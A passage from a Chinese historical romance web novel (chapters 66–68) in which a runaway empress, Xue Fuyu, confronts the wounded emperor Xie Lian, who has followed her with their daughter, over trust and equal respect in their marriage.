这话让陈管事也猜到了七八分,姑娘所谓的夫君在京城的身份不一般,半晌,他道:“他能带着小小姐千里迢迢追来,又这般低声下气地与姑娘说话,心中定然是还想着姑娘的。” 薛弗玉回想他在薛宅门口看向自己的眼神,里面浓烈的感情仿佛要把她给淹没了,她不愿深想,也不想和陈管事继续讨论他,她道:“我知道了” 陈管事又说了几句贴心话,最后才离开。 薛弗玉听着外头院中传来昭昭欢乐的笑声,一时觉得有些迷惘。 夜里。 薛弗玉如同在宫里一般,哄着昭昭睡着,又自己洗漱了一番,最终与昭昭睡在了同一张床榻上。 小姑娘似乎感觉到了母亲的存在,睡着的时候无意识地往薛弗玉的怀中靠。 薛弗玉目光温柔地把人搂进了怀中。 夜深人静,薛宅的院子下了钥,只剩下两个小厮在外院巡逻。 一个黑影利落地跃上了薛宅的墙头,很快又落到了里面,与婆娑的树木融为了一体。 林季站在薛宅一处屋脊之上,看着那高大的身影顺利进了薛弗玉的房门,只觉得一言难尽。 他觉得陛下在演戏这方面还是有些天赋在的,白天在娘娘跟前演得跟个病西子似的,晚上就变得生龙活虎了。 屋子里,床榻上的母女二人并不知道房间里多了一个人。 男人站在床前,借着照进来的月亮看着依偎在一起的母女,他努力克制着想要将人拥入怀中的冲动,看着熟睡的女子的眼里是再也压不住的爱意。 第66章 翌日起来的时候,薛弗玉看了还在熟睡的女儿,轻手轻脚地下了床榻。 等她洗漱穿戴好之后,出了外室,目光突然落在不远处案上的白釉花瓶上。 只见上面插着几朵含苞待放的拒霜花,清晨的阳光正好洒在浅粉的花瓣上面,给花瓣撒上了一层淡黄的暖光,看着倒是赏心悦目。 她纳闷薛宅各院并没有种拒霜花,这花是如何来的? 岫玉送早膳进来的时候,薛弗玉还特意问了。 她一边摆饭一边回答:“许是陈管事让人今早从卖花女那里买来的,不过奴婢倒是没见着是哪位姐姐送来。” 薛弗玉也不是刨根问底的人,有了她的回答,便没有要继续问到底的意思,等摆好了,她又重新进了卧房,轻声把还在睡觉的小姑娘给叫醒了。 她亲自替女儿洗漱,又给她扎了两个可爱的发髻。 等牵着昭昭出来外室用完早膳,她又开始思考谢敛的事情。 昨天他没有强行要跟着她进薛宅,今日却是不一定的。 为了躲着他,她决定这几日都在宅子里陪昭昭,只要不出门就不会碰上谢敛,他在这里隐瞒着身份,自然也不敢带人硬闯薛宅。 不出门的这几日确实风平浪静,就连晚上询问陈管事,也只说谢敛没有和李靳之前一般再上门。 这样也好,薛弗玉在心里松了一口气。 但是她转念一想,总是躲着他也不是办法,而且大周和突厥真要打起来,她也还要去锦泉郡,届时总不能带着昭昭去那么危险的地方。 思来想去,她最终决定找个时间见一见谢敛,和他说清楚。 劝他带昭昭回京。 第四日,她没忍住带上昭昭出门了,先是如常去了一趟香料铺子,后又带着女儿在街上转了转,给女儿买了些小玩意儿。 然而她没有碰上谢敛,于是低头问牵着的女儿:“昭昭知道你阿爹住在哪里吗?” 昭昭许久没有见到阿娘,好不容易才跟阿娘在一起,她这些天早就把她的阿爹抛到了脑后,等自己的阿娘问起的时候,才想起还有阿爹这个人。 只见小姑娘冥思苦想了半天,最终才歪着头道:“我和阿爹在驿站住了几天。” 薛弗玉皱眉,驿站不比客栈舒服,谢敛也不怕女儿睡不好觉? “阿娘是要去找阿爹吗?”昭昭晃了晃她的手,开心地问。 虽然她在阿娘身边很开心,可是她还是不想阿娘和阿爹不在一处,甚至她能感知到阿娘和阿爹之间有些奇怪,就好像是闹矛盾了,可是她想要阿娘和阿爹在一起。 不想他们分开。 薛弗玉瞧见小姑娘开心的样子,心中生出一些不忍来。 她点头:“嗯,阿娘有事要找你阿爹。” 昭昭问:“为什么阿爹不和我们住在一起,阿娘的屋子那么大,还能住下阿爹,昭昭想要阿爹和我们一起。” 她说完后,薛弗玉脚下的步子一顿,想说的话堵在了喉间,最终没有狠心说出口。 只因为她现在带上昭昭去找谢敛,是要让他带昭昭回宫,而且她也不想跟着他们回去。 “昭昭乖,你先和你阿爹回去,等阿娘的事情办完了再回去,好吗?”她忍着心疼哄骗着女儿。 没想到昭昭却不肯:“昭昭不要,昭昭要和阿娘一起!昭昭也不要离开阿爹!” 眼看着小姑娘眼中又开始蓄满了泪水,薛弗玉只觉得头疼,她停下脚步在昭昭跟前蹲下,拿出帕子替她擦干眼泪。 “方才是阿娘骗昭昭的,昭昭不要哭。” 她一边给昭昭擦着眼泪,一边又觉得事情有些棘手。 就怕女儿在当街哭闹起来。 幸而昭昭也只是眼中瘪着嘴掉眼泪,没有大哭大闹,但也让薛弗玉更加心疼。 然而才哄到一半,她无意间听见路过的人说话,听清楚他们谈论的内容时,顿时愣在了那里。 “听说了吗,昨天夜里不知道怎么的驿站突然着火了,等官差前去救火的时候,屋子都烧了一半,有一半的人都烧死了在里头。” “嘶!好端端的怎么就烧起来了?” “谁知道呢,我那舅姥爷的儿子就在驿站当个跑堂的,幸好他昨夜回家看望他老娘,逃过一劫,不然也得没命,你是不知道,今早我去看热闹的时候,那驿站一半的屋子都烧得只剩架子了。” 一想到门口摆着的十几具尸体,他顿时觉得心里发毛。 薛弗玉脸色一变,手中的帕子一时没拿稳掉在地上,微微失神。 半晌,直到昭昭喊阿娘的声音在耳边响起,她才回神,她艰难地站起身牵着昭昭快步往驿站赶去。 好在他们的镇子不大,不过一炷香的时间她就赶到了驿站。 还未到跟前,那边就传来了好断断续续的哭声,她的心瞬间一紧。 想要上前,却被官差拦住了。 她焦急地在人群中寻找,然而找了一圈都没有看见那道熟悉的身影。 “那位京中来的贵人活生生被烧死了,也不知道是谁家出来游玩的小公子,就这样命丧火海了。” “可不是,方才我趁着那些官老爷抬尸体的时候看了一眼,有一半都烧焦了,吓死人了” 薛弗玉只觉得牵着昭昭 的掌心沁出了一层冷汗。 听着身边的人惋惜哀叹,她根据他们口中说的那些信息,越觉得他们说的富贵公子就是谢敛。 不可能!谢敛身边带着护卫和暗卫,怎么会轻易就死了。 难道是突厥人所为? 她此时心绪纷乱,根本没有时间去细想那些。 一时之间不知道该用什么样的心情去面对,谢敛死了对她来说或许是好事,她不用再回宫。 她庆幸那日他放了昭昭跟着她进薛宅,而没有带走昭昭,她蹲下紧紧抱住昭昭。 死了好啊,死了他们就不用继续纠缠了。 可她为什么高兴不起来? 她自回到这里之后,一直声称自己的夫君死了。 如今他真的死了,可她却一点也没有开心的感觉。 他到底是昭昭的父亲,总不能连个给他收尸的人都没有。 思及此,她松开了昭昭重新站起身,伸出微微颤抖的手,焦急地拉住其中一位官差的手道:“这位大哥,我夫君在里头,能不能让我见他最后一面。” 那名官差正要呵斥她,结果见她脸色发白,手中还牵着稚子,瞧着就可怜,顿时那些要赶她走的话又咽了回去,他道:“赶紧去,我们等会还要把这些尸体运去衙门给仵作验尸。” 一听到验尸,薛弗玉便知晓这火有蹊跷,更加确定谢敛是被人害死的。 有了官差的放行,她松开昭昭,让昭昭等在原地,自己则踩着有些虚软的步子走向那具,被人说是京中贵人,且身形状似谢敛的男尸。 离得越近,她发现自己的心跳就越快。 就在她距离那具尸体只剩几步远,一名官差要掀开白布让她确认尸体时,突然听见身后不远处的昭昭喊了一声阿爹。 接着是男人熟悉声音自后面传来:“不要看!” 她脚下的步子停下,很快身后响起官差呵斥到一半又噤住的声音,接着一道沉稳的脚步声由远及近到了她的身后。 在她还没反应过来的时候,她被身后的男人拉着转了个身,然后男人将她按在了胸前。 恰逢那名官差掀开白布,露出里面被烧了一半狰狞可怖的尸体。 “玉姐姐,别看。”谢敛说完,又用眼神让那官差盖上白布。 低沉的嗓音响在耳边,让薛弗玉的心绪变得更加繁乱,周遭那些因为看见尸体惨状的惊呼声瞬间全都没了,只剩下眼前男人的心跳声。 谢敛能感觉到怀中女子身体的轻颤,他很快就知晓了,她定然是将那具尸体认成了他,所以才会想要去看那具烧焦的尸体。 且方才她转过来面对他的时候,他分明看见她眼眶红了,眼尾也带着嫣红,仿佛只要确认那具尸体真的是他,她的眼泪立刻就会掉下来。 原来,他要是死了,她是会难过的。 他不知道自己此时的心情是该高兴,还是该心疼。 最后,他抬手在她的后背安抚似的轻拍了几下,轻声安慰她:“我没事,不用担心。” 怀中的女子始终没有说话,他以为她是被吓到了,又温声细语地让她别害怕。 薛弗玉额头抵着他的胸膛,听他说着安慰的话,一颗心也渐渐冷静了下来。 接着,她推开了身前的男人。 被薛弗玉突然推开,谢敛愣了一瞬,但是很快又低眸看向她。 对上一双平静无波的眼眸。 此时她的双眸已经没有了任何悲伤的迹象,就好像不久前他看见的那双通红的眼睛,只是他的错觉。 “我有话要与你说。” 她说着从他的怀中退出,然后在他怔愣之际绕过他往他人群所在的方向走去。 很快谢敛也反应过来,他转身朝着那道浑身上下不见任何温柔的身影跟了上去。 昭昭在不远处被一名女护卫牵着。 她看着父母二人的身影,也想要跟上去,但是被女护卫给拦住了,她没有哭闹,反而问女护卫:“护卫姐姐,阿娘阿爹他们是不是吵架了?” 小姑娘年纪虽小,但也能看出她的阿娘和阿爹之间的气氛很奇怪。 女护卫摸了摸她的头,笑着道:“姑娘多虑了,公子和夫人没有吵架” “是吗?” 昭昭半信半疑,要是没有吵架,为什么阿娘不再对着阿爹笑了? 两位当事人不知道女儿敏锐的小心思,他们走到一处清静无人的地方。 薛弗玉站定,直到谢敛跟了上前,她暗暗深吸了一口气,转身对着他问道:“陛下这又是何必呢?” 她既然选择了假死脱身,便是给了他选择的机会,她死了,他不就可以不受束缚,想让谁做皇后就让谁做皇后。 谢敛对上她那双没有任何情绪的眸子,从前她给他的温柔仿佛只是镜花水月,半晌,他明白了她为何问这句话。 此时他只觉得心像是被狠狠剜着,双眼泛起猩红,他的唇瓣轻微颤抖着,最终才艰难地挤出一句完整的话:“玉姐姐是觉得我不该来寻你么?” 薛弗玉看着他这幅摇摇欲坠的模样,下意识蹙起眉头,她从前怎么没觉得谢敛这么脆弱? 她确实觉得谢敛不应该来寻她,不应该打扰了她的好不容易得来的安宁。 女子的沉默让谢敛的嘴角微微下沉,他的动了动嘴唇,想要说些什么,然而看见她蹙在一起的眉毛之后,又生出了胆怯,他怕逼得她太紧,反而会让她更加厌烦。 良久,身前的女子终于说话了,她轻轻叹了口气:“陛下以前从不会只顾儿女情长而不顾百姓,您不仅是我的夫君和昭昭的父亲,更是大周的皇帝,如今的情形,陛下难道还要在这种时候与我浪费时间?” 从前的谢敛在大事上一向不会拎不清,如今大周与突厥之间剑拔弩张,她的阿弟与众将士在锦泉郡蓄势待发迎接敌军,而眼前的男人却只顾着自己,未免太过自私。 她的话就像是一把利剑,生生将谢敛的心剖成了血淋淋的两半。 原来她竟是这样想他的。 谢敛指尖猛地攥紧,努力抑制身体某处传来的痛楚,最后苦涩道:“自从你不见之后,我只要闭上眼睛,脑中就会出现你的身影,他们说你死了,可我不信。” 所以查到她的行踪之后,便马不停蹄地找来了。 好不容易见到了她,没想到却是这样的结果。 薛弗玉听着他诉说这几个月来对自己的思念,她将目光从他的脸上移开,掩在袖中的手指微微一动,最终别开脸打断了他:“陛下,臣妾不愿意与您回宫。” 然而手腕却被对方攥住,谢敛欺身而来,红着眼睛哑声道:“玉姐姐,算我求你,回宫去好么?” 他的靠近带着一股浅淡的药香,隐隐还有血腥味。 薛弗玉抬眸,见他脸色比方才白了一些,她张了张嘴,最终没有回答。 “薛明宜已经被我处死,你到底要误会我到何时?”看着她无动于衷的脸,谢敛再次道。 薛弗玉骤然听见这个消息,手腕连挣扎都忘记了,她眼中闪过惊讶,最终又垂眸道:“她罪有应得。” “你就没有什么要问的?”谢敛攥着她手的力气卸去了一半。 “没有。”薛弗玉平静道。 谢敛恨不得把薛明宜最开始欺骗她的事说出来,可看见她即便是听见薛明宜扶诛,面上仍旧没有任何的表情,他只觉得一股腥涌上喉间。 “薛弗玉” 他的话还未说完,只觉得眼前一 黑,到底没能撑住倒下了。 第67章 镇上的一家医馆。 薛弗玉坐在不远处,看着医馆的老大夫娴熟地脱下谢敛的外袍。 谢敛喜欢穿玄色的衣裳,所以外衫上即便染了血也看不出来。 直到大夫替他褪去外头两件玄色的外袍,露出里头的雪白的中衣,薛弗玉才看到他的腹部受了伤。 血染红了他腹前巴掌大的地方,那大夫见状,又动手扒开他的中衣,这才露出里头缠着的绷带,绷带早已被血给浸透。 血腥味很快就飘到薛弗玉的鼻子前。 怪不得他靠近她的时候,她闻到了药味和血腥味。 她放在膝上的指尖轻颤,直到大夫拆掉缠在他小腹好几圈的绷带,她才看清他的腹部上有差不多三寸长的刀伤,此时伤口往外翻,看着血肉模糊。 除此之外,老大夫脱掉他的中衣,发现他手臂上也有几道伤口,不过比起腹部的伤口已经是好上许多了。 眼前的画面让她的心尖一跳,接着忙移开眼睛,不忍再看。 “夫人为何不早些把你夫君送来医治,这伤口老夫看着也是草草处理的,日后再伤了可莫要再自己处理伤口,一定要早些送来医馆。” 老大夫吩咐一旁的药童拿药和干净的绷带,一边对着薛弗玉恨铁不成钢道。 这位夫人和公子看着也不像是穷苦人家,受伤了就算不送医馆,好歹也要请个大夫去替他好好包扎,而不是像这样明显是草草包扎了事。 怪不得会流血过多晕倒。 薛弗玉尽量不让自己的声音颤抖,转头看向老大夫,却不敢去看男人的伤,她轻声问:“我夫君,他可无碍?” 老大夫见她此时的脸色比伤者也好不了多少,又这般关心自己的夫君,便也不忍心过多责怪,他手上利落地给男人缝针上药,嘴上跟着回复:“刀伤不算深,但是他流了太多血,这几日需要好好补补。” 有了老大夫的话,薛弗玉的心情总算是好了些。 “多谢大夫。”她道谢。 谢敛在这种时候不能出事,西北有突厥虎视眈眈,朝中也不太平,若是他出事了,难保会有动乱。 老大夫缝好针后,他瞧见男人紧皱的眉头终于松了些,他心中倒是生出些佩服,换做是旁人,早就疼醒了。 “虽然是刀伤,但他的身体虚弱,这半个月也需要好好静养休息,万不能随意走动。” 替他整理好伤口之后,老大夫又叮嘱薛弗玉。 原本想直接把人扔在医馆,由着他自生自灭的薛弗玉听闻后一时愣住,她本就没有打算要把人带走,被老大夫叮嘱完,她蹙了蹙眉头。 医馆嘈杂,客栈也不适合养病,她顿时犯了难。 她看向仍旧在昏迷中的男人,目光落在他那张没有血色的脸上,平日里淡漠的一张脸,此时才露出几分虚弱来。 最终她还是没能狠下心。 让谢敛的护卫把人送回薛宅。 薛岐的院子不能住,薛老将军父母的院子更不能,最后薛弗玉只能让人抬着他去了待客的厢房。 等安置好人之后,就见昭昭不知道什么时候跟了进来,她扯着薛弗玉的袖子,瘪着嘴问:“阿娘,阿爹怎么了,他是不是受伤了,是不是很疼?” 在医馆老大夫给谢敛处理伤口的时候,薛弗玉特意让人把昭昭带了出去,此时昭昭看见苍白着脸昏迷在榻上的男人,眼睛里很快就蒙上了水雾。 薛弗玉见此搂着昭昭安慰她:“你阿爹没什么事,只是生病了,咱们出去,不要吵着你阿爹,等阿爹好好睡上一觉,醒来就好了。” 说着她牵着恋恋不舍的昭昭出门。 哄好昭昭之后,她又唤来岫玉几个小丫鬟先送昭昭回她的院子去。 等昭昭被带走后,薛弗玉又重新进了卧房,走到榻前坐下,见男人的额头渗出冷汗,她抿了抿唇,最后还是让人端了清水来,洗净帕子替他擦拭额上的汗珠。 替他擦完汗珠之后,让人把水端出去倒了后。 房中只剩下他们二人,她坐在离床榻有些距离的桌子前,想着他受伤的事情,慢慢蹙起一双漂亮的眉毛。 半晌,她走出卧房,停在了外间,突然问道:“林大人,陛下是如何受伤的?” 不多时,就有一道黑影落在了她的身前。 “属下见过皇后娘娘。” 林季隐在一扇屏风后面,若是不仔细看,根本不会发现那里有人。 他有些诧异娘娘居然知晓他在。 薛弗玉的身子动了动,看向那扇屏风:“陛下这几日究竟去了哪里,为何会受这样的伤?” 林季原本是想要瞒着,毕竟陛下如果不是因为失血过多晕倒,估计也会瞒着娘娘,可一想到陛下和娘娘之间的事,他觉得此时正是用苦肉计博取娘娘关心的时候。 于是他道:“陛下昨日遭遇了一伙人的袭击,才会不慎重伤。” 薛弗玉担心道:“那些行刺的人呢?” 万一他们贼心不死,还想继续行刺,追来薛宅的话,要是伤了薛宅里的人怎么办? 而且昭昭也在这里,就怕他们会盯上昭昭。 她觉得还是让谢敛离开这里比较好。 林季似乎是猜到了她的心中所想,他立刻道:“娘娘不用担心,那伙人是邑沧郡守派来的,如今那郡守已经成了阶下囚。” 陛下把公主送到娘娘身边之后,就着手处理这件事。 早在他们进入邑沧郡的时候,郡守就盯上了他们,那郡守怀疑他们是都察院派来的,所以一直暗暗让人跟着他们。 陛下不放心公主跟着,所以才特意把找上娘娘,把公主留在了薛宅。 只是千算万算,他们没算到自京城的突厥势力被清除之后,邑沧郡的郡守竟还不知收敛,继续和突厥人勾结。 原本对付这些人并不用费太大的劲儿,可陛下身体内还有余毒,才会不慎被伤。 上次春猎,陛下被箭划伤,那箭上带了毒,此时陛下身体的余毒还未清完,所以在与那伙人交手的时候余毒发作,一个不注意被刀划伤。 中毒一事林季倒是没有要告知薛弗玉的打算。 他说完后静静等着皇后娘娘问些关心陛下的话,结果等了半晌都没有,薛弗玉也只是问了些郡守勾结突厥人的事,最终他不得已,只好从成王的死开始说起。 把这差不多一年来发生的,与突厥的事情有关的所有事都如实告诉了她。 “所以成王妃进京,也是陛下故意放她回来的,是吗?”她问。 “正是,陛下最开始就怀疑成王妃,所以觉得把人放在眼皮子底下才是最好的办法。” 之后林季告诉了她薛明宜和突厥三王子勾结,害死成王,又在京中予那突厥三王子方便的事。 把这些事情交代完,林季透过半透明的屏风想要看清楚薛弗玉的神情,却见她顿了半刻,然后转身进了卧房。 林季瞧着那道背影,最终又重新隐在了暗处。 这些日子他看着陛下因为皇后娘娘的事情茶饭不思,要么就是拼了命的处理政事,每每哄了公主睡下后,都是对着黑夜沉默。 这几个月来,陛下消瘦了不少,除了中毒之外,就是因为太过想念娘娘了。 好几次他都能听到陛下在梦里唤娘娘。 薛弗玉走进去后,站在榻前看着仍在昏迷中的男人,心中不知是何滋味。 她想,若是从最开始他就告诉他薛明宜进京的真相,告诉她阿弟失踪也是他安排好的,或许他们也不会走到今天。 除了那年他想要她说服阿弟替他争储那一次,他要做的事情从来没有告诉过她。 他可以说是为了她好。 但是他却没有想过,这都是他自己的一厢情愿。 她自嫁给他之后,从来没想过要独善其身,更多的时候是想要与他共进退而已。 但他偏偏所有的事情与真相都不愿告知,就连事关阿弟的消息也不愿。 这时候她才明白,她选择离开他最大的原因不 是薛明宜,而是与他携手十年,自己始终没有得到他平等地尊重。 甚至连过问的权利都没有。 从前所有的迷惘,都在这一刻清晰了起来,她的鼻尖一酸,抬手揉了揉酸涩的眼,最终转身不再看他,抬脚就要离开这里。 这时身后却传来男人呢喃的声音。 “玉姐姐,不要走” 她脚下的步子一顿,回头看向榻上的男人,却见他双目紧闭,脸上露出痛苦挣扎的神色,像是做了什么极为可怕的恶梦。 薛弗玉的目光只落在了他脸上一瞬,很快就收了回去。 似是没有听见身后男人断断续续唤她的声音,她抬脚继续往外面走去。 “照顾好陛下。” 对着守在门口的护卫吩咐完这句,她头也不回地离开。 护卫看着那道远去的背影面面相觑,最终只能继续守在门口。 他们还以为皇后娘娘会亲自照顾陛下。 没想到娘娘还真的是狠心,就这样把陛下一个人扔在了厢房。 或许是这一天经历的事情太多了,薛弗玉回去后,连昭昭与她说话都频频失神。 最终找了个借口一个人在卧房呆了两个时辰。 直到晚上,薛弗玉也没有再去过厢房,连过问一句都没有。 她在外堂正在与昭昭一起用晚膳。 却见陈管事突然焦急地来了。 “姑娘。”陈管事看了一眼正在吃饭的昭昭,用眼神示意有事要报。 薛弗玉立刻会意,她放下手中的筷子,起身走之前让昭昭好好吃饭,自己则跟着陈管事出了外面。 “怎么了陈伯,是出什么事了吗?”出去后她忙问。 陈管事低声与她道:“今日那边传来消息,突厥人在江阴镇百里外有了动静,看样子战事要一触即发,我有些担心少爷。” 他从姑娘口中得知,少爷继承了老爷的衣钵,如今在西北军营中。 少爷是他看着长大的,即便已经有十年没见,但是免不了还会担心 薛弗玉不想陈管事担心,只得安慰道:“阿弟他们曾与突厥交手几次,对突厥军队有所了解,我们应该相信他们。” 虽然嘴上这样说,其实她同样也担心薛岐。 这一次比以往的那些小战役或许会不同,毕竟突厥都用三王子做借口了。 她想要明日就动身前往江阴镇,然而这个决定才做好,就听见屋子里头传出昭昭与岫玉说话的声音。 顿时她的心里又充满了不舍。 她与陈管事交代了几句话,再次回身的时候已经收起了脸上的担忧。 “阿娘,这是你喜欢吃的笋片,多吃点!” 小姑娘给她夹完之后,晃着小短腿期待地看着她吃。 薛弗玉在听见方才的消息之后早已没了胃口,看着女儿给自己夹的菜,为了不让女儿察觉,只好把笋片放进了口中心不在焉地吃下。 直到陪着昭昭用完了晚饭,她的心情仍旧没有变好。 心中的想法迟迟下不了决断。 一边是自己的血亲弟弟,一边是骨肉相连的女儿。 正当她思绪混乱的时候,厢房那边的下人突然匆匆前来。 “姑娘,姑爷身上发起了热。” 薛弗玉不想面对谢敛,只对着那下人吩咐道:“去医馆给找个大夫来。” 虽然心中对他存有芥蒂,但人在薛宅,她不能让他有事。 那下人听了她的吩咐,先是疑惑了一下,但见她脸上没有任何担忧的神色,很快就一拍脑袋应声。 他真是糊涂了,姑娘先前一个人回来,还声称姑爷死了,摆明了就是不想和姑爷有瓜葛,如今姑娘念着姑爷伤了收留姑爷,也是姑娘心善。 这般想着又匆匆去外面找大夫。 薛弗玉以为让下人给他找了个大夫就算完了,谁知道一个时辰之后,她洗漱完才睡着不久,厢房那边的下人又来了。 岫玉举着烛台进来,掀开帐子小声唤醒了她:“姑娘,厢房那边的来人说姑爷一直在昏迷中,不能喝药怎么办?” 薛弗玉迷迷糊糊中翻了个身回答她:“不喝就撬开他的嘴灌进去” 她实在是困得厉害。 岫玉急道:“姑爷身边的护卫在,他们连碰都不敢碰姑爷一根指头。” 要真的照姑娘说的强行灌药,估计还没撬开姑爷的嘴,那些护卫就能要了他们的命。 这时候薛弗玉总算是清醒了,她无奈坐起身。 她原是不想管的,只是想起谢敛除了她和受伤之余能让大夫近身,其余时候不喜欢旁人近身。 “能叫醒他吗?”她下床一边穿衣一边问。 岫玉道:“说是叫不醒。” 倒是有些难办。 等她到厢房进了走到卧房,发现那小厮正端着药无措地站在床前。 “药先放下,出去吧。”薛弗玉对着小厮道。 小厮立刻如蒙大赦,赶紧放下药溜了。 薛弗玉走到床前坐下,伸手想去碰男人的额头,结果手碰到他,骤然被昏迷中的男人一把攥住。 她惊呼一声,整个人被拉着跌在他的身上,即便是在昏迷中,男人的双臂仍旧有力,将人紧紧禁锢在身前。 第68章 滚烫的温度很快就传到她的身上,她尽量避开他的伤处,下意识想要起身,谢敛似乎感觉到了她的意图,收紧双臂紧紧抱着她,让她动弹不了一点。 温热的气息喷洒在耳边,薛弗玉暗暗使了点力气,然而昏迷中的男人力气依旧大得可怕,她甚至感觉自己要呼吸不过来了。 “陛下,醒醒!” 她好不容易抽出了一只手放在他结实的手臂上,接着紧紧抓住他的手,想要把他的手臂从她的身上拿开。 “不要动” 男人沙哑到极致的声音贴着她的耳畔响起,让正在挣扎的薛弗玉顿时停了下来。 她抬起头去看他,发现他的脸颊因为发热而染上了一层薄红,没有了白日里看见的苍白,让他本就俊美的脸显出与平时不一样的妖冶。 看着就像是能蛊惑人心的妖。 但是此时的薛弗玉偏偏生出烦躁来,她气恼地推了推他的胸膛,瞪了继续闭着眼睛的男人一眼,冷着声音道:“陛下醒了就喝药,别平白无故地折腾人。” 听到冷淡的声音,男人原本禁锢着她身子的双臂微微松了松,可到底没有真正放开。 半晌,谢敛在她的脸颊边轻轻蹭了蹭。 “让我再抱一抱你。” 他的声音里带着熟悉的疲惫,也不知道是因为这几日的奔波还是因为别的什么。 薛弗玉本想要拒绝,可一想到抱着自己的男人还发着热,受着伤,最终是没有再挣扎。 她感受着对方沉稳有力的心跳,然后开始走神。 没有继续挣扎,知道她不会再走,让抱着她的男人彻底放心,贪恋地吸着她身上的幽香,又陷入了昏昏欲睡中。 不到一盏茶的时间,薛弗玉实在是不能忽视他身体传来的滚烫热度,忍不住开口提醒:“药快凉了。” 她以为谢敛又要耍赖,没想到几息之后,放在她腰上的手还是松开了。 谢敛不舍地松开她,见她干脆地起身离开,他的心里瞬间被失落占满。 他已经好久没有像刚才那样与她亲近,要不是他受伤生病,现在的她大约是如何都不会让他对样对待的。 可看着女子小心端了药上前的时候,他的心又要是被什么填满了,他撑着身子坐起身,唇角正要因为心情变好而往上扬起,谁知道却听见她说出了让他的心情重新跌回谷底的话。 “陛下赶紧喝了这药,等过几天就带着昭昭回宫去吧,这里不是你该呆的地方。” 虽然是平静的话语,但落在他的耳中就像是一盆冷水将他从头浇到了底。 他抬眸对上她,哑然道:“你当真要这样对我么?” 薛弗玉道:“是。” 没有任何的犹豫。 谢敛的手背瞬间冒起青筋,就像是在极力地忍耐着什么。 “我这一次来,就是想要亲自接你回宫,玉姐姐,你还是我的皇后,只要我没有废后,你便只能呆在我的身边。” 除了在他的身边,她哪也不能去。 他虽然说出这样的话,可却又带着可怜兮兮地味道,仿佛不是他在逼着她,而是在求她。 薛弗玉端着药的手紧了紧,她这些日子一直在等京中皇后薨了的消息,然而却迟迟没有等到,她便知道迟早会有这一天。 眼前的男人看向她的眼神里带着少有偏执,还有令她不习惯的感情,那目光让她不自觉地想要逃避。 “臣妾想问陛下一句,陛下可是因为臣妾的阿弟,才不愿放臣妾离开吗?” 白天林季与她说完那些之后,她的心中只剩下最后一个疑问,如今便当着他的面问了出来。 谢敛没想到她会问这个,他愣了一瞬,很快又想都没想便否认道:“不是,他是你的胞弟,我相信你,自然也相信他,我不愿放你离开,是我自己离不开你,我们的女儿也 离不开你。” 薛弗玉静静观察他的神色,发现他没有说慌后,脸上没有一点动容的神色,她道:“臣妾知道了。” 她心底最后的一个疑惑解开,便知晓了谢敛真的是没有把她当成妻子,她在他那里只是一个能让他满意的,合格的皇后而已。 可她不想当他的皇后。 “所以陛下有什么事从来不与臣妾说,也不让臣妾知晓前朝的事情,并不是因为忌惮臣妾,害怕臣妾干政,只是觉得臣妾没有资格是吗?” 她轻声问。 那晚她不过是焦急阿弟的消息,试探地问了,反而被他训斥说她逾矩。 说出这些话后,薛弗玉突然觉得自己心底一松,仿佛一直压在心脏上的石头被移开了。 谢敛下意识想要反驳,可是当他对上那双眼底带了凉意的眸子时,心底没来由地生出恐慌。 最开始因为薛岐逼他发誓的时候,那一段时间里,他确实有些迁怒她的,所以他刻意不与她讲前朝的事情。 后来渐渐的,他觉得前朝的事情乱糟糟的,不告诉她也好,免得她跟着烦心。 他觉得她只要安心呆在后宫,安心地当她的皇后就行。 如今他才明白,她想要的并不是做一个什么都不知道的皇后,而是能与他无话不谈,与他同进退的夫妻。 然而他明白得太晚了。 “抱歉。”他动了动嘴唇,最终只能干涩地说出这两个字。 半刻后,见她没有理会他,又道:“玉姐姐,是我自己太一意孤行,没有顾及到你的感受,可不可以原谅我?” 这是他第二次因为自己的过错求她原谅。 薛弗玉见他此时眼眶泛红,艰难地撑着虚弱的身子。 因为伤口处的疼痛和发热,他的额上覆满了冷汗。 她没有回答他的问题,只是在心里叹了口气,把药给他:“先喝药吧。” 谢敛见她平静无波,看着他不再温柔的眸子,最终只能颓然地接过了她手中的药碗。 不用等她再说什么,他仰头喝下那碗药。 苦涩的药汁仿佛从他的口中流到了心底深处,那丝丝地苦味很快就占据了他的整颗心脏。 薛弗玉接过他手中的空碗。 等她转身想要离开的时候,却突然听见身后的男人哑声道:“玉姐姐,给我一点时间,我不在的时候先替我照顾昭昭,等这一战打了胜仗,要是我” 薛弗玉回身,看向他的眼中带着一丝疑惑,不明白他为何要说这个,更不明白为何他要让她照顾昭昭。 她安静地等着他说接下来的话。 等了半晌却又没有等到后文,只见男人静静看着她,细看之下还能看见里面的痛苦挣扎,她不明白这眼神意味着什么,只是她的心莫名一紧。 她强行按下心里生出的不该有的情绪,对着他道:“陛下喝了药就好好休息。” 说完毫不留恋地再次转身离开。 出了厢房,薛弗玉抬头看像那轮残月,眉头突然皱了起来。 为何方才他要她照顾昭昭,难不成是这边还有什么事需要他这个做皇帝的亲自去做? 还有他没说完的话,又是什么? 她猜不透他的心思,索性便不再去猜。 谢敛仰躺在榻上,回想着自与薛弗玉重逢以来,她待他的态度变得更加冷淡,甚至连对那位想要强娶她男人都有好脸色,反而对他这位名正言顺的夫君,一点笑意都没有。 今晚她的那些话,就像是一道天雷,生生劈得他不得不面对现实。 玉姐姐是真的不愿意再做他的皇后了。 或许只有他死了,对她来说才是一件好事。 他开始自暴自弃地想。 可他舍不得她,也舍不得昭昭。 他还未亲口对她说出自己的心意,要是他死了,她又如何能知道,他其实默默地喜欢了她好多年。 喜欢到不敢让她知道分毫。 喜欢到用别的事情来欺骗自己,从前对她的那些好只是因为责任 翌日,厢房的下人前来禀报,说谢敛的身体不再发热。 不管怎么说,薛弗玉到底是松了一口气。 她让人退下,又继续给昭昭讲故事。 昭昭坐在她的腿上,不安分地扭了扭身子,“阿娘,昭昭想要去看看阿爹,我们去看阿爹好不好呀。” 薛弗玉并不想去见谢敛,可是膝上的女儿一直在缠着她。 “阿娘还有事要做,要不昭昭自己去瞧他好吗?”她温柔道。 昭昭这时候却不愿意了,她问道:“阿娘是不是不喜欢阿爹了?” 这个问题薛弗玉不知道该怎么回答她。 她喜欢过谢敛吗? 这个问题似乎没有答案,从前还在旧宫的时候,她虽然是他的妻子,可更多的时候,她因为他比自己小三岁,年纪又与阿弟相仿,更多的时候是将他当做自己的弟弟来看待。 后来他们做夫妻之间最亲密的事情,她便将他看作是自己的夫君,同时他又是一国之君,她不知道那种复杂的感情里面有没有参杂着一点喜欢。 答案是她自己也不知道。 